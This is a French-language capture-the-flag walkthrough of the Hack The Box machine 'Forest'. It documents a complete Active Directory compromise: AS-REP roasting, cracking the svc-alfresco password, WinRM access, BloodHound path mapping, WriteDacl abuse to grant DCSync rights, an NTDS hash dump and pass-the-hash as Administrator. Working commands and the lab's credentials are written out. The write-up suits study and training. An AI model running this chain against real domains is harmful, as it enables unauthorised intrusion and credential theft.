Forest
| OS | Difficulty | Target |
|---|---|---|
| Windows | EASY | 10.129.4.254 |
Flags
| Flag | Emplacement |
|---|---|
| User | C:\Users\svc-alfresco\Desktop\user.txt |
| Root | C:\Users\Administrator\Desktop\root.txt |
Résumé
- Énumération LDAP/RPC anonyme : Découverte des utilisateurs du domaine
- AS-REP Roasting : Attaque contre svc-alfresco sans pré-authentification
- WinRM Shell : Accès initial avec les credentials crackés
- Analyse BloodHound : Mapping des chemins de privilèges
- WriteDacl Abuse : Exploitation des permissions Exchange
- DCSync : Dump des hashes pour obtenir Administrator
Configuration Initiale
export TARGET=10.129.4.254export DOMAIN=htb.localexport DC=forest.htb.localecho "$TARGET forest.htb.local htb.local FOREST" >> /etc/hostsgetent hosts htb.localReconnaissance
Scan Nmap
nmap -p- $TARGET -sV -sC -oN nmap_full.txtPorts critiques identifiés :
- 53 (DNS)
- 88 (Kerberos)
- 389 (LDAP)
- 445 (SMB)
- 636 (LDAPS)
- 3268 (Global Catalog)
- 5985 (WinRM)
- 9389 (mc-nmf - indicateur Exchange)
Énumération LDAP
Requête du rootDSE :
ldapsearch -x -H ldap://$TARGET -b "" -s baseRécupération de la structure du domaine :
ldapsearch -x -H ldap://$TARGET -b "dc=htb,dc=local" > ldap.txtgrep "^dn:" ldap.txt | grep -v "CN=Configuration\|CN=Schema\|CN=System"Filtrage des comptes DONT_REQ_PREAUTH :
ldapsearch -x -H ldap://$TARGET -b "dc=htb,dc=local" \ "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" \ sAMAccountName userAccountControlÉnumération RPC
enum4linux-ng -A $TARGET > enum4linux.txtgrep "username:" enum4linux.txt | awk '{print $2}' > users.txtUtilisateurs découverts :
- sebastien
- lucinda
- svc-alfresco (ACB: 0x00010210 - vulnérable)
- andy
- mark
- santi
Analyse des Account Control Bits
La valeur 0x00010210 indique :
- 0x00000200: NORMAL_ACCOUNT
- 0x00000010: HOMEDIR_REQUIRED
- 0x00010000: DONT_REQ_PREAUTH (indicateur de vulnérabilité)
Seul svc-alfresco possédait cette configuration vulnérable.
Attaque AS-REP Roasting
Explication de la Vulnérabilité
Quand DONT_REQ_PREAUTH est activé, le KDC répond aux requêtes d’authentification sans valider le demandeur. La réponse contient du matériel chiffré avec le hash NTLM du compte cible, extractible pour un crackage hors ligne.
Exécution de l’Attaque
GetNPUsers.py htb.local/ -no-pass -usersfile users.txt -dc-ip $TARGETCrackage du Hash
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txtRésultat : svc-alfresco / s3rvice
Accès Initial
Connexion WinRM
evil-winrm -i $TARGET -u svc-alfresco -p s3rvicewhoamiÉnumération Post-Exploitation
Collecte de Données BloodHound
netexec ldap $TARGET -u svc-alfresco -p s3rvice \ --bloodhound --dns-server $TARGET -c allChemin d’Attaque Découvert
L’analyse révèle : svc-alfresco maintient une appartenance dans Service Accounts, qui appartient à Privileged IT Accounts, qui appartient à Account Operators. Account Operators possède des droits GenericAll sur Exchange Windows Permissions, qui détient des permissions WriteDacl sur l’objet domaine HTB.LOCAL.
Escalade de Privilèges
Étape 1 : Charger PowerView
# Depuis l'hôte Linuxcp /opt/resources/windows/PowerSploit/Recon/PowerView.ps1 /workspace/Forest/
# Depuis la session evil-winrmupload PowerView.ps1. .\PowerView.ps1Étape 2 : Ajouter svc-alfresco à Exchange Windows Permissions
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members svc-alfrescoGet-DomainGroupMember -Identity "Exchange Windows Permissions"Étape 3 : Accorder les Droits DCSync
L’actualisation du token de compte est critique - les tokens NTLM ne se mettent pas à jour dynamiquement. Il faut fournir des credentials frais :
$username = "htb\svc-alfresco"$password = "s3rvice"$secstr = New-Object -TypeName System.Security.SecureString$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}$cred = new-object -typename System.Management.Automation.PSCredential ` -argumentlist $username, $secstr
Add-DomainObjectAcl -Credential $Cred ` -PrincipalIdentity 'svc-alfresco' ` -TargetIdentity 'DC=htb,DC=local' ` -Rights DCSyncVérification :
Get-ObjectAcl -DistinguishedName "DC=htb,DC=local" -ResolveGUIDs | ` Where-Object {$_.SecurityIdentifier -match "svc-alfresco"}Dump DCSync
netexec smb $TARGET -u svc-alfresco -p s3rvice --ntdsHash Clé Extrait :
- Administrator NT Hash: 32693b11e6aa90eb43d32c72a07ceea6
Attaque Pass-the-Hash
evil-winrm -i $TARGET -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6whoamiConcepts Techniques Clés
PrivExchange : La configuration du serveur Exchange hérite de permissions de domaine élevées, permettant l’abus de WriteDacl pour le dump de credentials.
Protocole DCSync : Utilise MS-DRSR (Directory Replication Service) pour simuler la réplication de contrôleur de domaine, nécessitant les permissions DS-Replication-Get-Changes et DS-Replication-Get-Changes-All.
Exploitation WriteDacl : Permet la modification des ACL du domaine pour accorder des privilèges arbitraires sans accès direct.